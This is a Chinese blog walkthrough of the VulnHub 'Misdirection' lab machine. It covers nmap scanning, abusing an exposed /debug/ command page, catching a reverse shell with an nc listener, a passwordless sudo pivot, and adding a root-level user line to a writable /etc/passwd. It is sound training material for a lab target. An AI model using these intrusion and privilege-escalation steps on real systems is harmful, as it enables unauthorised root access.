🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
nmap漏洞扫描
二、渗透测试
1、web渗透+信息收集
2、迁移shell
三、提权
1、sudo提权
2、user.txt
3、root权限
前言
靶机精讲之Misdirection,vulnhub靶机,不难,但开始阶段很容易被误导,渗透目标选择的优先级容易选错以致费时,死磕一点还是快速跳跃,需要权衡、经验和智慧。用webshell获得系统立足点,两次提权获得root权限。这台机器很标准,其中多了一点点曲折和趣味,是高仿真场景的抽象,规模不大,但渗透体验很棒,细节满满。
一、信息收集
1、主机探测
发现靶机IP地址是192.168.103.154
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2、端口扫描
扫描靶机,发现靶机开放了22、80、3306、8080端口
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.154
3、漏洞扫描
nmap漏洞扫描
利用namp扫描,扫描出来了好几个漏洞,我们可以进行详细分析
┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80,3306,8080 192.168.103.154
80端口下的漏洞有:
CSRF:这里的web登录注册页面漏洞扫描是发现csrf,但是比较复杂,并且对我们渗透测试拿root权限来讲,并不是第一选择
sql注入:这里nmap扫描出来sql注入漏洞,后面可以进行证实
3306端口:mysql-vuln-cve2012-2122
mysql-vuln-cve2012-2122 是指 MySQL 数据库中的一个漏洞,该漏洞被称为CVE-2012-2122。这个漏洞可以允许未经身份验证的攻击者通过网络连接到 MySQL 服务器并以管理员权限执行任意代码。只要知道用户名,不断尝试就能够直接登入SQL数据库。
8080端口:扫描出来了很多的web目录,可以尝试访问下
二、渗透测试
1、web渗透+信息收集
先访问下80端口下的web页面,发现很杂,内容很多,这里面有很多可能是可以找到线索的,但是我们从目前看,我们还可以看看别的方向的线索,比如8080端口,如果8080端口也没有什么有价值的信息,我们就可以再仔细地对80web页面进行挖掘。
一般这种靶场也是框架漏洞也是有的,所以也需要查看下,但是这个靶场是个python的一个框架,也没有在网上找到有关的漏洞情况。
我们现在可以访问下8080端口,它是一个很常见的Apache2 Ubuntu Default Page的一个静态页面,对我们的渗透测试来讲价值不大,我们开始利用nmap扫描漏洞的时候,扫描到了很多的目录,我们可以尝试访问下
我们尝试访问8080的目录,里面很多都是没有价值的目录
/debug/
目录下有个命令执行的shell cmd页面,发现可以进行执行命令,我们可以看到是个www-data低权限账户,说明我们后续要进行提权,我们这里可以考虑进行迁移shell
2、迁移shell
我们需要把8080端口下面的shell迁移到kali攻击机上
先在kali上进行监听
┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234
listening on [any] 1234 ...
然后在shell上执行迁移shell的命令,这里开始尝试了nc命令,但是没有用,像我们在真实的渗透测试环境中,肯定都会遇到一些命令过滤什么的,不可能说一个命令通吃,所以我给小伙伴们推荐一个自动化写反弹shell或者迁移shell的木马网站
Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.https://www.revshells.com/
这个网站的页面也是蛮好看的
像这里面的都是可以进行尝试选择的,我这里是选择python3的环境,因为这个8080端口是apache开发的,所以可以尝试python的命令,进行执行迁移shell操作
迁移shell成功,但是这个并不是很完美的交互式shell
三、提权
1、sudo提权
这里利用sudo -l 的命令,直接就发现有一个brexit用户,不需要密码直接利用sudo就可以拿到权限
用户 www-data 可以在本地主机上使用 brexit 用户执行 /bin/bash 命令,而且不需要密码验证。
sudo -u brexit /bin/bash
2、user.txt
brexit@misdirection:/var/www/html/debug$ cd /home
cd /home
brexit@misdirection:/home$ ls
ls
brexit
brexit@misdirection:/home$ cd brexit
cd brexit
brexit@misdirection:~$ ls
ls
start-vote.sh user.txt web2py
brexit@misdirection:~$ cat user.txt
cat user.txt
404b9193154be7fbbc56d7534cb26339
3、root权限
.viminfo,像这个文件,我们在做渗透测试的是很好可以注重看下,因为这个文件里面是记录的用户进行利用vim编辑
发现他编辑了/etc/passwd目录,我们查看下/etc/passwd
发现/etc/passwd具有可写入的权限
brexit@misdirection:~$ ls -la /etc/passwd
ls -la /etc/passwd
-rwxrwxr-- 1 root brexit 1617 Jun 1 2019 /etc/passwd
尝试写入/etc/passwd,创建一个root权限的用户,然后再登录这个用户,就是具有root权限了
brexit@misdirection:~$ openssl passwd -1 123456
openssl passwd -1 123456
$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50
brexit@misdirection:~$ cat /etc/passwd |grep root
cat /etc/passwd |grep root
root:x:0:0:root:/root:/bin/bash
brexit@misdirection:~$ routing:$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50:0:0:root:/root:/bin/bash1. `openssl passwd -1 123456`: 这个命令使用 OpenSSL 工具生成密码哈希。`-1` 选项表示使用 MD5 算法,而 `123456` 是要哈希的密码。生成的密码哈希是 `$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50`。2. `cat /etc/passwd |grep root`: 这个命令使用 `cat` 命令打开 `/etc/passwd` 文件并通过 `grep` 过滤器查找包含 "root" 的行。结果是以 "root" 开头的相关行,其中包含了 root 用户的信息。3. `routing:$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50:0:0:root:/root:/bin/bash`: 这是在 `/etc/passwd` 文件中添加的一行。它描述了名为 "routing" 的用户的信息,包括用户名、密码哈希、用户 ID、组 ID、用户主目录和默认 Shell。
成功拿到了root权限